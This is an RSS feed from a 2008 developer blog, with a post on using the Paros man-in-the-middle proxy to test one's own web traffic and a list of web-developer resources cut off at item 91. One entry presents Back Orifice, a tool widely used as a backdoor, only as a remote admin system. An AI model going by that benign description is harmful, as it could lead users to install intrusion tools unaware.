





















<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BlogWell &#187; Dev Stuff</title>
	<atom:link href="http://blog-well.com/category/dev-stuff/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog-well.com</link>
	<description>Musings and things that amuse us</description>
	<lastBuildDate>Fri, 26 Feb 2010 21:35:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hacking Tool Useful for Web Developers</title>
		<link>http://blog-well.com/2008/05/06/hacking-tool-useful-for-web-developers/</link>
		<comments>http://blog-well.com/2008/05/06/hacking-tool-useful-for-web-developers/#comments</comments>
		<pubDate>Tue, 06 May 2008 13:53:46 +0000</pubDate>
		<dc:creator>Mad</dc:creator>
				<category><![CDATA[Dev Stuff]]></category>

		<guid isPermaLink="false">http://blog-well.com/?p=328</guid>
		<description><![CDATA[
Photo Credit: 
practicalowl
I discovered a cool free tool at the recent RSA conference, called 
Paros, a man-in-the-middle (MITM) proxy.  While my fist impression was that Paros is no more than a hacking tool, upon further investigation I discovered it can be really useful to developers and testers.
If you don’t know what a 
man in [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-327" title="spying" src="http://blog-well.com/wp-content/uploads/2008/05/spying.jpg" alt="" width="500" height="333" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/practicalowl/" target="_blank" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/practicalowl/');" >practicalowl</a></em></p>
<p>I discovered a cool free tool at the recent RSA conference, called 
<a  href="http://www.parosproxy.org/" onclick="javascript:pageTracker._trackPageview('/external/www.parosproxy.org/');" >Paros</a>, a man-in-the-middle (MITM) proxy.  While my fist impression was that Paros is no more than a hacking tool, upon further investigation I discovered it can be really useful to developers and testers.</p>
<p>If you don’t know what a 
<a  href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack" onclick="javascript:pageTracker._trackPageview('/external/en.wikipedia.org/wiki/Man-in-the-middle_attack');" >man in the middle attack</a> is, it is an Internet attack, where the person doing the attacking intercepts, and attempts to read or alter information moving between two computers.</p>
<p>As a dev tool, Paros is useful because:</p>
<ul>
<li>You can easily monitor the traffic between the browser and the site you are developing.</li>
<li>You can trap the requests, and if you made an error you can change it, so you can test that whether the remainder of the application works correctly.  This saves you having to immediately change the application to correct the erroneous request.</li>
<li>It raises the visibility of the information being exchanged.  If there is any user related information, other than the initial login information, get rid of it quick, as this will allow hackers to easily request other user’s information.</li>
</ul>
<p>Fore warned is fore armed.</p>
<p>One thing I don&#8217;t like is that when you download Paros, they hide the download link in the top right hand corner of the download page, and present sponsor solicitations, which on a quick glance, you think they are required for downloading.  They are not, so skip them.</p>
<p>I have since discovered 
<a  href="http://www.fiddlertool.com/" onclick="javascript:pageTracker._trackPageview('/external/www.fiddlertool.com/');" >Fiddler</a>, which I had yet to try.  This is a free tool, supposedly from Microsoft, so if you prefer a non-Java based application, as Paros is, give this a try.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog-well.com/2008/05/06/hacking-tool-useful-for-web-developers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>100+ Resources for Web Developers</title>
		<link>http://blog-well.com/2008/03/04/100-resources-for-web-developers/</link>
		<comments>http://blog-well.com/2008/03/04/100-resources-for-web-developers/#comments</comments>
		<pubDate>Tue, 04 Mar 2008 14:00:46 +0000</pubDate>
		<dc:creator>MadLid</dc:creator>
				<category><![CDATA[Dev Stuff]]></category>

		<guid isPermaLink="false">http://blog-well.com/2008/03/04/100-resources-for-web-developers/</guid>
		<description><![CDATA[

Photo Credit: 
SMITHMag
 
Update #1 &#8211; March 14, 2008 
Update #2 &#8211; September 22, 2008 
Translated into Italian at 
Geekissimo
There is some amazing stuff out there on the Web&#8211;resources, tools, tricks, and tips. Problem is, as a Web developer, you spend so much of your time just keeping up with new technologies &#8211; learning, playing [...]]]></description>
			<content:encoded><![CDATA[<p>
<a  href="http://www.doshdosh.com" onclick="javascript:pageTracker._trackPageview('/external/www.doshdosh.com');" ><img src="http://blog-well.com/wp-content/uploads/2008/03/webdev.jpg" alt="100+ Resources for Web Developers" /></a></p>
<p><em>Photo Credit: 
<a  href="http://www.flickr.com/photos/smithmag/" onclick="javascript:pageTracker._trackPageview('/external/www.flickr.com/photos/smithmag/');" >SMITHMag</a>
<a  href="http://www.flickr.com/photos/smithmag/" onclick="javascript:pageTracker._trackPageview('/external/www.flickr.com/photos/smithmag/');" > </a></em></p>
<p><em><span style="color: #0000ff;">Update #1 &#8211; March 14, 2008 </span></em></p>
<p><em>Update #2 &#8211; September 22, 2008 </em></p>
<p><em>Translated into Italian at 
<a  href="http://www.geekissimo.com/2008/04/02/oltre-100-ottimi-strumenti-per-gli-sviluppatori-web/" target="_self" onclick="javascript:pageTracker._trackPageview('/external/www.geekissimo.com/2008/04/02/oltre-100-ottimi-strumenti-per-gli-sviluppatori-web/');" >Geekissimo</a></em></p>
<p>There is some amazing stuff out there on the Web&#8211;resources, tools, tricks, and tips. Problem is, as a Web developer, you spend so much of your time just keeping up with new technologies &#8211; learning, playing – and this doesn&#8217;t leave much time to go hunting for the latest and greatest tool, or for a better way of doing things.</p>
<p>So we&#8217;ve put together a list of over 100 resources to help make your life as a developer easier; where to find snippets of code, sites that automate processes, cheat sheets, lessons, useful tools and a couple of silly videos to give your brain a break if you make it through to the end. Please enjoy!</p>
<h2><a name="Code"></a>Code</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/headtag.jpg" alt="Head Tag" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/joshlewis/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/joshlewis/');" >Josh Lewis</a></em></p>
<p><strong>1.</strong> 
<a  href="http://www.thenoodleincident.com/tutorials/box_lesson/boxes.html" onclick="javascript:pageTracker._trackPageview('/external/www.thenoodleincident.com/tutorials/box_lesson/boxes.html');" >Little Boxes</a><br />
CSS Templates for various page layouts</p>
<p><strong>2. 
<a  href="http://snipplr.com/" onclick="javascript:pageTracker._trackPageview('/external/snipplr.com/');" >Snipplr</a></strong><br />
Collection of code snippets &#8211; JavaScript, HTML, PHP, CSS, Ruby, Objective C</p>
<p><strong>3. 
<a  href="http://www.smashingmagazine.com/2006/11/15/ajax-dhtml-and-javascript-libraries/" onclick="javascript:pageTracker._trackPageview('/external/www.smashingmagazine.com/2006/11/15/ajax-dhtml-and-javascript-libraries/');" >AJAX, DHTML and JavaScript Libraries</a></strong><br />
An extensive list with over 60 Ajax, Javascript and DHTML Libraries &#8211; with detailed descriptions.</p>
<p><strong>4. 
<a  href="http://www.prototypejs.org/" onclick="javascript:pageTracker._trackPageview('/external/www.prototypejs.org/');" >Javascript Framework</a></strong><br />
Easy Ajax and DOM manipulation for dynamic Web applications</p>
<p><strong>5. 
<a  href="http://www.smashingmagazine.com/2007/06/20/ajax-javascript-solutions-for-professional-coding/" onclick="javascript:pageTracker._trackPageview('/external/www.smashingmagazine.com/2007/06/20/ajax-javascript-solutions-for-professional-coding/');" >AJAX Javascript Solutions for Professional Coding</a></strong><br />
Over 90 useful AJAX-based techniques you should always have ready to hand</p>
<p><strong>6. 
<a  href="http://miniajax.com/" onclick="javascript:pageTracker._trackPageview('/external/miniajax.com/');" >DHTML and AJAX samples</a></strong><br />
Nice looking simple downloadable DHTML and AJAX code</p>
<p><strong>7. 
<a  href="http://ajaxpatterns.org/" onclick="javascript:pageTracker._trackPageview('/external/ajaxpatterns.org/');" >AJAX Patterns</a></strong><br />
A Wiki of reusable AJAX code, and huge AJAX resource</p>
<p><strong>8. 
<a  href="http://developer.mozilla.org/en/docs/AJAX" onclick="javascript:pageTracker._trackPageview('/external/developer.mozilla.org/en/docs/AJAX');" >Mozilla Developer Center &#8211; AJAX</a></strong><br />
Mozilla’s offering on AJAX</p>
<p><strong>9. 
<a  href="http://csstypeset.com/" onclick="javascript:pageTracker._trackPageview('/external/csstypeset.com/');" >CSS Typeset</a></strong><br />
Interactive CSS generator</p>
<p><strong>10. 
<a  href="http://www.osliving.com/" onclick="javascript:pageTracker._trackPageview('/external/www.osliving.com/');" >Open Source Directory</a></strong><br />
An archive of the Web&#8217;s best Open Source software, applications and references.</p>
<p><strong>11. 
<a  href="http://www.htaccesseditor.com/en.shtml" onclick="javascript:pageTracker._trackPageview('/external/www.htaccesseditor.com/en.shtml');" >.htaccess Creator</a></strong><br />
Online tool to create .htaccess files</p>
<p><strong>12. 
<a  href="http://www.phpform.org/" onclick="javascript:pageTracker._trackPageview('/external/www.phpform.org/');" >PHP Form</a></strong><br />
Create HTML Forms in seconds and get the code</p>
<p><strong>13. 
<a  href="http://www.smashingmagazine.com/2007/05/18/30-best-solutions-for-image-galleries-slideshows-lightboxes/" onclick="javascript:pageTracker._trackPageview('/external/www.smashingmagazine.com/2007/05/18/30-best-solutions-for-image-galleries-slideshows-lightboxes/');" >Best Solutions for Images</a></strong><br />
30 scripts of impressive slideshows, lightboxes and galleries you can use for effective presentations of your images.</p>
<p><strong>14. 
<a  href="http://www.huddletogether.com/projects/lightbox2/" onclick="javascript:pageTracker._trackPageview('/external/www.huddletogether.com/projects/lightbox2/');" >Lightbox</a></strong><br />
Lightbox is a simple unobtrusive script used to overlay images on a page</p>
<p><strong>15. 
<a  href="http://sourcemaking.com/design-patterns-and-tips" onclick="javascript:pageTracker._trackPageview('/external/sourcemaking.com/design-patterns-and-tips');" >Design patterns and tips</a></strong><br />
101 Design Patterns and Tips for Developers</p>
<p><strong>16. 
<a  href="http://tools.sitepoint.com/spanky/index.php" onclick="javascript:pageTracker._trackPageview('/external/tools.sitepoint.com/spanky/index.php');" >Spanky Corners</a></strong><br />
Creates CSS and GIF images for rounded corners</p>
<p><strong>17. 
<a  href="http://www.html.it/articoli/niftycube/index.html" onclick="javascript:pageTracker._trackPageview('/external/www.html.it/articoli/niftycube/index.html');" >Nifty Corners Cube</a></strong><br />
Rounded corners with no images</p>
<p><strong>18. 
<a  href="http://www.stevenhargrove.com/redirect-web-pages/" onclick="javascript:pageTracker._trackPageview('/external/www.stevenhargrove.com/redirect-web-pages/');" >How to redirect a Web page the right way</a></strong><br />
Don’t lose PageRank! Steven Hargrove gives you the code to redirect using htaccess, Mod_Rewrite, IIS, ColdFusion, ASP, Java, Perl, Ruby and PHP.</p>
<p><strong>19. 
<a  href="http://jquery.com/" onclick="javascript:pageTracker._trackPageview('/external/jquery.com/');" >jQuery</a></strong><br />
jQuery is a fast, concise, JavaScript Library that simplifies how you write your web pages.</p>
<h2><a name="CoolOnlineTools"></a>Cool Online Tools</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/onlinetools.jpg" alt="Online Tools" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/markop/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/markop/');" >Stavros Markopoulos</a></em></p>
<p><strong>20. 
<a  href="http://pipebytes.com/" onclick="javascript:pageTracker._trackPageview('/external/pipebytes.com/');" >Pipe Bytes</a></strong><br />
Send files of any size through any Web browser. No software to install, private and the recipient can start downloading while you’re still uploading</p>
<p><strong>21. 
<a  href="http://www.scriptol.com/scripts/php-ftp-synchronizer.php" onclick="javascript:pageTracker._trackPageview('/external/www.scriptol.com/scripts/php-ftp-synchronizer.php');" >PHP FTP Synchronizer</a></strong><br />
Free program to update your website from local files</p>
<p><strong>22. 
<a  href="http://lipsum.com/" onclick="javascript:pageTracker._trackPageview('/external/lipsum.com/');" >Dummy Text Generator</a></strong><br />
Generate text by number of paragraphs, words, bytes or lists</p>
<p><strong>23. 
<a  href="http://software.hixie.ch/utilities/cgi/unicode-decoder/utf8-decoder" onclick="javascript:pageTracker._trackPageview('/external/software.hixie.ch/utilities/cgi/unicode-decoder/utf8-decoder');" >UTF-8 decoder</a></strong><br />
Unicode Decoder</p>
<p><strong>24. 
<a  href="http://csstidy.sourceforge.net/" onclick="javascript:pageTracker._trackPageview('/external/csstidy.sourceforge.net/');" >CSS Tidy</a></strong><br />
Open source CSS parser and optimizer</p>
<p><strong>25. 
<a  href="http://tidy.sourceforge.net/" onclick="javascript:pageTracker._trackPageview('/external/tidy.sourceforge.net/');" >HTML Tidy</a></strong><br />
Open source utility for tidying up HTML</p>
<p><strong>26. 
<a  href="http://fireftp.mozdev.org/" onclick="javascript:pageTracker._trackPageview('/external/fireftp.mozdev.org/');" >FireFTP</a></strong><br />
Free, secure, cross-platform FTP client for Mozilla Firefox</p>
<p><strong>27. 
<a  href="http://filezilla-project.org/" onclick="javascript:pageTracker._trackPageview('/external/filezilla-project.org/');" >FileZilla</a></strong><br />
Free FTP client and FTP server</p>
<p><strong>28. 
<a  href="http://www.sitepoint.com/dustmeselectors/" onclick="javascript:pageTracker._trackPageview('/external/www.sitepoint.com/dustmeselectors/');" >Dust-Me Selectors</a></strong><br />
Firefox extension that finds unused CSS selectors</p>
<p><strong>29. 
<a  href="http://www.iosart.com/firefox/colorzilla/" onclick="javascript:pageTracker._trackPageview('/external/www.iosart.com/firefox/colorzilla/');" >ColorZilla</a></strong><br />
Get a color reading from any point within Firefox</p>
<p><strong>30. 
<a  href="http://ietab.mozdev.org/" onclick="javascript:pageTracker._trackPageview('/external/ietab.mozdev.org/');" >FireFox IE Tab</a></strong><br />
Run IE inside Firefox</p>
<p><strong>31. 
<a  href="http://mikecherim.com/experiments/php_font_sizer.php?pfs=100%#pfs" onclick="javascript:pageTracker._trackPageview('/external/mikecherim.com/experiments/php_font_sizer.php');" >Font Sizer</a></strong><br />
Let visitors change the font size on your site. XHTML, CSS, and PHP source available</p>
<p><strong>32. 
<a  href="http://recaptcha.net" onclick="javascript:pageTracker._trackPageview('/external/recaptcha.net');" >Recaptcha</a></strong><br />
Captcha helps prevent automated abuse of your site, ensuring only humans perform certain actions; free</p>
<p><strong>33. 
<a  href="http://www.superscreenshot.com/" onclick="javascript:pageTracker._trackPageview('/external/www.superscreenshot.com/');" >Super Screenshot</a></strong><br />
Take a full sized screenshot of any Web page</p>
<p><strong>34. 
<a  href="http://picoshot.com/" onclick="javascript:pageTracker._trackPageview('/external/picoshot.com/');" >Web Site Thumbnails</a></strong><br />
Get thumbnails of any Web site</p>
<p><strong>35. 
<a  href="http://www.cultdeadcow.com/tools/bo.php" onclick="javascript:pageTracker._trackPageview('/external/www.cultdeadcow.com/tools/bo.php');" >Back Orifice</a></strong><br />
A remote admin system that enables a user to control a computer over a network</p>
<p><strong>36. 
<a  href="http://www.joelonsoftware.com/items/2008/01/25.html" onclick="javascript:pageTracker._trackPageview('/external/www.joelonsoftware.com/items/2008/01/25.html');" >CoPilot</a> </strong><br />
Remote control another computer – free on weekends, otherwise $5 for 24 hours</p>
<h2>Documentation and Reference</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/documentation.jpg" alt="Documentation and Reference" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/perreira/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/perreira/');" >Perreira</a> </em></p>
<p><strong>37. 
<a  href="http://www.adaptivepath.com/ideas/essays/archives/000385.php" onclick="javascript:pageTracker._trackPageview('/external/www.adaptivepath.com/ideas/essays/archives/000385.php');" >Ajax: A New Approach to Web Applications</a></strong><br />
The ultimate AJAX introduction</p>
<p><strong>38. 
<a  href="http://www.smashingmagazine.com/2006/10/30/cheat-sheet-round-up-ajax-css-latex-ruby/" onclick="javascript:pageTracker._trackPageview('/external/www.smashingmagazine.com/2006/10/30/cheat-sheet-round-up-ajax-css-latex-ruby/');" >Cheat Sheet Round Up</a></strong><br />
Your one stop shop for all cheat sheets including: Actionscript, Ajax, Apache, ASCII, ASP, C#, CSS, CVS, C++, Django, Firefox, Google, HTML/XHTML, Java, JavaScript, LaTeX, MySQL, Perl, Photoshop, GIMP, PHP, Python, Regular Expressions, Ruby, Unix, Linux, Weblogs, Windows, XML.</p>
<p><strong>39. 
<a  href="http://quickref.org/" onclick="javascript:pageTracker._trackPageview('/external/quickref.org/');" >Quick reference</a></strong><br />
Searches for references on C, C++, CSS, HTML, HTML DOM, Java, JavaScript, MySQL, Perl, PHP, Python, and Ruby</p>
<p><strong>40. 
<a  href="http://www.gotapi.com/" onclick="javascript:pageTracker._trackPageview('/external/www.gotapi.com/');" >Got API</a></strong><br />
Easily search sites for API documentation</p>
<p><strong>41. 
<a  href="http://www.cssbasics.com/" onclick="javascript:pageTracker._trackPageview('/external/www.cssbasics.com/');" >CSS Basics</a></strong><br />
Cascading Style Sheets made easy</p>
<p><strong>42. 
<a  href="http://www.cbel.com/style_sheets/" onclick="javascript:pageTracker._trackPageview('/external/www.cbel.com/style_sheets/');" >The Ultimate CSS Resource</a></strong></p>
<p><strong>43. 
<a  href="http://cyber.law.harvard.edu/rss/rss.html" onclick="javascript:pageTracker._trackPageview('/external/cyber.law.harvard.edu/rss/rss.html');" >RSS Specifications</a></strong><br />
The authority on RSS &#8211; from Harvard</p>
<p><strong>44. 
<a  href="http://www.smashingmagazine.com/2007/11/02/rss-best-design-practices-and-icons/" onclick="javascript:pageTracker._trackPageview('/external/www.smashingmagazine.com/2007/11/02/rss-best-design-practices-and-icons/');" >RSS Best Design Practices and Icons</a></strong><br />
All things RSS including free icons</p>
<p><strong>45. 
<a  href="http://www.gotoandlearn.com/" onclick="javascript:pageTracker._trackPageview('/external/www.gotoandlearn.com/');" >Go To and Learn</a></strong><br />
Free video tutorials on Flash</p>
<p><strong>46. 
<a  href="http://reinholdweber.com/?p=3" onclick="javascript:pageTracker._trackPageview('/external/reinholdweber.com/');" >Optimize Your PHP code</a></strong><br />
40 Tips to optimize your PHP code</p>
<p><strong>47. 
<a  href="http://www.whenpenguinsattack.com/2007/04/09/10-tips-for-optimizing-mysql-queries/" onclick="javascript:pageTracker._trackPageview('/external/www.whenpenguinsattack.com/2007/04/09/10-tips-for-optimizing-mysql-queries/');" >Optimizing MYSQL queries</a></strong><br />
10 Tips to optimize MYSQL queries</p>
<p><strong>48. 
<a  href="http://seo2.0.onreact.com/how-to-create-a-dynamic-blogroll-in-5-minutes" onclick="javascript:pageTracker._trackPageview('/external/seo2.0.onreact.com/how-to-create-a-dynamic-blogroll-in-5-minutes');" >How to Create a Dynamic BlogRoll </a></strong><br />
Using Feedjumbler &#8211; it takes 5 minutes</p>
<h2><a name="Testing"></a>Testing</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/testing.jpg" alt="Testing" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/sebastian_bergmann/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/sebastian_bergmann/');" >Sebastian Bergmann</a> </em></p>
<p><strong>49. 
<a  href="http://jigsaw.w3.org/css-validator/" onclick="javascript:pageTracker._trackPageview('/external/jigsaw.w3.org/css-validator/');" >CSS Validation</a></strong><br />
At W3C</p>
<p><strong>50. 
<a  href="http://validator.w3.org/" onclick="javascript:pageTracker._trackPageview('/external/validator.w3.org/');" >HTML/XHTML Validation</a></strong><br />
At W3C</p>
<p><strong>51. 
<a  href="http://users.skynet.be/mgueury/mozilla/" onclick="javascript:pageTracker._trackPageview('/external/users.skynet.be/mgueury/mozilla/');" >HTML Validator</a></strong><br />
Firefox extension to validate your HTML (as used within http://validator.w3.org/)</p>
<p><strong>52. 
<a  href="http://validator.w3.org/checklink" onclick="javascript:pageTracker._trackPageview('/external/validator.w3.org/checklink');" >Link Checker</a></strong><br />
Checks for broken links in your HTML pages</p>
<p><strong>53. 
<a  href="http://www.getfirebug.com/" onclick="javascript:pageTracker._trackPageview('/external/www.getfirebug.com/');" >Firebug</a></strong><br />
Edit, debug, and monitor CSS, HTML, and JavaScript live in any Web page</p>
<p><strong>54. 
<a  href="http://graybit.com/" onclick="javascript:pageTracker._trackPageview('/external/graybit.com/');" >Gray Bit</a></strong><br />
Online testing tool; convert a full color page into grayscale to visually test contrast</p>
<p><strong>55. 
<a  href="http://www.thesitewizard.com/webdesign/multiplebrowsers.shtml" onclick="javascript:pageTracker._trackPageview('/external/www.thesitewizard.com/webdesign/multiplebrowsers.shtml');" >Cross Browser Compatibility Testing</a></strong><br />
Check your site with multiple browsers on a single machine</p>
<p><strong>56. 
<a  href="http://www.anybrowser.com/ScreenSizeTest.html" onclick="javascript:pageTracker._trackPageview('/external/www.anybrowser.com/ScreenSizeTest.html');" >Screen Sizer</a></strong><br />
Check out your site in different screen sizes</p>
<p><strong>57. 
<a  href="http://feedvalidator.org/" onclick="javascript:pageTracker._trackPageview('/external/feedvalidator.org/');" >Feed Validator</a></strong><br />
If you’ve ever noticed invalid characters or XML markup in content items, check your feed for validity problems.</p>
<h2><a name="Windows"></a>Windows</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/windows.jpg" alt="Windows" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/marioraffin/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/marioraffin/');" >Marius</a> </em></p>
<p><strong>58. 
<a  href="http://ccollomb.free.fr/unlocker/" onclick="javascript:pageTracker._trackPageview('/external/ccollomb.free.fr/unlocker/');" >Windows Unlocker</a></strong><br />
Tells you the application that is stopping you from deleting a file</p>
<p><strong>59. 
<a  href="http://www.dependencywalker.com/" onclick="javascript:pageTracker._trackPageview('/external/www.dependencywalker.com/');" >Windows Dependency Walker</a></strong><br />
See which DLLs are required for Windows applications</p>
<p><strong>60. 
<a  href="http://www.microsoft.com/technet/sysinternals/fileanddisk/pendmoves.mspx" onclick="javascript:pageTracker._trackPageview('/external/www.microsoft.com/technet/sysinternals/fileanddisk/pendmoves.mspx');" >Pending Moves</a></strong><br />
Show files will be updated when you next restart Windows</p>
<p><strong>61. 
<a  href="http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx" onclick="javascript:pageTracker._trackPageview('/external/technet.microsoft.com/en-us/sysinternals/bb896653.aspx');" >Process Explorer</a></strong><br />
View active processes – Task Manager on steroids</p>
<p><strong>62. 
<a  href="http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx" onclick="javascript:pageTracker._trackPageview('/external/technet.microsoft.com/en-us/sysinternals/bb896645.aspx');" >Process Monitor</a></strong><br />
Monitors file system, registry and process/thread activity</p>
<p><strong>63. 
<a  href="http://tools.osherove.com/Default.aspx?tabid=182" onclick="javascript:pageTracker._trackPageview('/external/tools.osherove.com/Default.aspx');" >Regulazy</a></strong><br />
Visual regular expression builder</p>
<p><strong>64. 
<a  href="http://windirstat.info/" onclick="javascript:pageTracker._trackPageview('/external/windirstat.info/');" >WinDirStat</a></strong><br />
Display size of files and folders graphically</p>
<p><strong>65. 
<a  href="http://gnuwin32.sourceforge.net/packages/wget.htm" onclick="javascript:pageTracker._trackPageview('/external/gnuwin32.sourceforge.net/packages/wget.htm');" >wget for Windows</a></strong><br />
Gets a HTML resource (HTML, image, document, javascript, css etc)</p>
<p><strong>66. 
<a  href="http://www.ntwind.com/software/winsnap.html" onclick="javascript:pageTracker._trackPageview('/external/www.ntwind.com/software/winsnap.html');" >WinSnap</a></strong><br />
Takes a snap shot of your screen ($19.90)</p>
<h2><a name="Converters"></a>Converters</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/converter.jpg" alt="Converters" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/andih/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/andih/');" >AndiH</a> </em></p>
<p><strong>67. 
<a  href="http://www.wotzwot.com/rssxl.php" onclick="javascript:pageTracker._trackPageview('/external/www.wotzwot.com/rssxl.php');" >Convert HTML to RSS</a></strong><br />
Generate an RSS feed for almost any Web page.</p>
<p><strong>68. 
<a  href="http://wigitize.com/" onclick="javascript:pageTracker._trackPageview('/external/wigitize.com/');" >Convert RSS to HTML</a></strong><br />
Creates a widget displaying a specific RSS feed in HTML.</p>
<p><strong>69. 
<a  href="http://www.greywyvern.com/code/php/binary2base64" onclick="javascript:pageTracker._trackPageview('/external/www.greywyvern.com/code/php/binary2base64');" >Binary to Base64</a></strong><br />
Create data streams for embedding images (or any type of file) in (X)HTML, CSS and XML</p>
<p><strong>70. 
<a  href="http://developers.evrsoft.com/tools-html2script-converter.shtml" onclick="javascript:pageTracker._trackPageview('/external/developers.evrsoft.com/tools-html2script-converter.shtml');" >HTML To JS/PHP/Perl Converter</a></strong><br />
This tool will convert normal HTML code to a script based language such as JavaScript, PHP or Perl</p>
<p><strong>71. 
<a  href="http://vozme.com/" onclick="javascript:pageTracker._trackPageview('/external/vozme.com/');" >Text to Voice</a></strong><br />
Create an MP3 of a voice reading your text</p>
<p><strong>72. 
<a  href="https://www.pdfonline.com/convert_pdf.asp" onclick="javascript:pageTracker._trackPageview('/external/www.pdfonline.com/convert_pdf.asp');" >Free PDF online conversion</a></strong><br />
Converts various files (DOC, PUB, RTF, XLS, PPT, HTML, JPG, PNG, BMP, TIFF, WMF, EMF, GIF etc.), to PDF online, then e-mails you the PDF</p>
<p><strong>73. 
<a  href="http://web2.pdfonline.com/" onclick="javascript:pageTracker._trackPageview('/external/web2.pdfonline.com/');" >Web 2 PDF</a></strong><br />
Allow your visitors to create PDFs of any Web page</p>
<p><strong>74. 
<a  href="http://www.swingnote.com/tools/texttohex.php" onclick="javascript:pageTracker._trackPageview('/external/www.swingnote.com/tools/texttohex.php');" >Text to Hex converter</a></strong><br />
Write your name in hex</p>
<h2><a name="Graphics"></a>Graphics</h2>
<p><strong>75. 
<a  href="http://yotophoto.com/" onclick="javascript:pageTracker._trackPageview('/external/yotophoto.com/');" >YotoPhoto</a></strong><br />
Search engine for royalty free images (over 250,000 indexed)</p>
<p><strong>76. 
<a  href="http://lab.rails2u.com/bgmaker/" onclick="javascript:pageTracker._trackPageview('/external/lab.rails2u.com/bgmaker/');" >Background Image maker</a></strong> &#8211; http://lab.rails2u.com/bgmaker/<br />
Create background images online with this quick and easy tool</p>
<p><strong>77. 
<a  href="http://www.iconaholic.com/" onclick="javascript:pageTracker._trackPageview('/external/www.iconaholic.com/');" >Iconaholic</a></strong><br />
Lots of great free icons</p>
<p><strong>78. 
<a  href="http://ajaxload.info/" onclick="javascript:pageTracker._trackPageview('/external/ajaxload.info/');" >Animated GIFs</a></strong><br />
Generate and preview animated GIFs, then download</p>
<p><strong>79. 
<a  href="http://visibone.com/colorlab/" onclick="javascript:pageTracker._trackPageview('/external/visibone.com/colorlab/');" >216 Color Webmasters Palette</a></strong><br />
Web Safe colors for webmasters</p>
<p><strong>80. 
<a  href="http://chris.com/ascii/" onclick="javascript:pageTracker._trackPageview('/external/chris.com/ascii/');" >ASCII Art</a> </strong><br />
The original Web Art</p>
<p><strong>81. 
<a  href="http://www.network-science.de/ascii/" onclick="javascript:pageTracker._trackPageview('/external/www.network-science.de/ascii/');" >ASCII Generator</a></strong></p>
<p><strong>82. 
<a  href="http://ascii.mastervb.net/" onclick="javascript:pageTracker._trackPageview('/external/ascii.mastervb.net/');" >Image to ASCII</a></strong><br />
Convert images and text to ASCII</p>
<p><strong>83. 
<a  href="http://www.gimp.org/" onclick="javascript:pageTracker._trackPageview('/external/www.gimp.org/');" >GIMP </a></strong><br />
GNU Image Manipulation Program</p>
<p><strong>84. 
<a  href="http://www.inkscape.org/" onclick="javascript:pageTracker._trackPageview('/external/www.inkscape.org/');" >Inkscape</a></strong><br />
Open Source vector graphics editor, similar to Illustrator and CorelDraw</p>
<p><strong>85.</strong><strong> 
<a  href="http://www.ajaxlessons.com/2006/02/16/web-20-badge-tutorial/" onclick="javascript:pageTracker._trackPageview('/external/www.ajaxlessons.com/2006/02/16/web-20-badge-tutorial/');" >Create Web 2.0 Badges</a></strong> (image –png)<br />
Ajax lessons show you how to create a shiny Web 2.0 badge in eight easy steps</p>
<p><strong>86. 
<a  href="http://wellstyled.com/tools/colorscheme2/index-en.html" onclick="javascript:pageTracker._trackPageview('/external/wellstyled.com/tools/colorscheme2/index-en.html');" >Color Scheme Generator</a> </strong></p>
<p><strong>87. 
<a  href="http://www.smashupgraphics.com/" onclick="javascript:pageTracker._trackPageview('/external/www.smashupgraphics.com/');" >Smashup Graphics</a></strong><br />
Smashups to create logos, backgrounds, buttons and menus.</p>
<p><strong>88. 
<a  href="http://www.iconfinder.net/" onclick="javascript:pageTracker._trackPageview('/external/www.iconfinder.net/');" >IconFinder</a></strong><br />
Great looking resource with easy to identify licensing information.</p>
<p><strong>89. 
<a  href="http://www.tabsgenerator.com/" onclick="javascript:pageTracker._trackPageview('/external/www.tabsgenerator.com/');" >Tabs Generator</a></strong><br />
Creates tab buttons on demand.</p>
<h2><a name="SiteAnalytics"></a>Site Analytics</h2>
<p><img src="http://blog-well.com/wp-content/uploads/2008/02/analysis.jpg" alt="Site Analytics" /></p>
<p><em>Photo Credit: 
<a  href="http://flickr.com/photos/wessexarchaeology/" onclick="javascript:pageTracker._trackPageview('/external/flickr.com/photos/wessexarchaeology/');" >Wessex Archaeology</a></em></p>
<p><strong>90. 
<a  href="http://www.whoistheowner.net/" onclick="javascript:pageTracker._trackPageview('/external/www.whoistheowner.net/');" >Who is the Owner?</a></strong><br />
Find out who owns a Web site quickly</p>
<p><strong>91. 
